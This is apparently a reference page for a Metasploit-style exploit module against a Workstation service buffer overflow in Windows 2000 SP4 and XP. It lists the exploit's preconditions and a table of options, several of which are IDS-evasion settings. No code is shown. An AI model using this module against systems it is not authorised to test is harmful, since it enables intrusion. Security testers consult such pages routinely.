Microsoft Workstation Service NetpManageIPCConnect Overflow
This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect function using the Workstation service in Windows 2000 SP4 and Windows XP SP2. In order to exploit this vulnerability, you must specify a the name of a valid Windows DOMAIN. It may be possible to satisfy this condition by using a custom dns and ldap setup, however that method is not covered here. Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator credentials are required to reach the vulnerable code. Windows XP SP1 only requires valid user credentials. Also, testing shows that a machine already joined to a domain is not exploitable.

Module Options
| DOMAIN | The domain to validate prior to joining it. |
| RHOST | The target address |
| RPORT | Set the SMB service port (default: 445) |
| SMBPIPE | The pipe name to use. (default: WKSSVC) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DCERPC::ReadTimeout | The number of seconds to wait for DCERPC responses |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| Proxies | Use a proxy chain |
| SMB::ChunkSize | The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing |
| SMB::Native_LM | The Native LM to send during authentication |
| SMB::Native_OS | The Native OS to send during authentication |
| SMB::VerifySignature | Enforces client-side verification of server response signatures |
| SMBDirect | The target port is a raw SMB service (not NetBIOS) |
| SMBDomain | The Windows domain to use for authentication |
| SMBName | The NetBIOS hostname (required for port 139 connections) |
| SMBPass | The password for the specified username |
| SMBUser | The username to authenticate as |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| DCERPC::fake_bind_multi | Use multi-context bind calls |
| DCERPC::fake_bind_multi_append | Set the number of UUIDs to append the target |
| DCERPC::fake_bind_multi_prepend | Set the number of UUIDs to prepend before the target |
| DCERPC::max_frag_size | Set the DCERPC packet fragmentation size |
| DCERPC::smb_pipeio | Use a different delivery method for accessing named pipes (accepted: rw, trans) |
| SMB::obscure_trans_pipe_level | Obscure PIPE string in TransNamedPipe (level 0-3) |
| SMB::pad_data_level | Place extra padding between headers and data (level 0-3) |
| SMB::pad_file_level | Obscure path names used in open/create (level 0-3) |
| SMB::pipe_evasion | Enable segmented read/writes for SMB Pipes |
| SMB::pipe_read_max_size | Maximum buffer size for pipe reads |
| SMB::pipe_read_min_size | Minimum buffer size for pipe reads |
| SMB::pipe_write_max_size | Maximum buffer size for pipe writes |
| SMB::pipe_write_min_size | Minimum buffer size for pipe writes |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
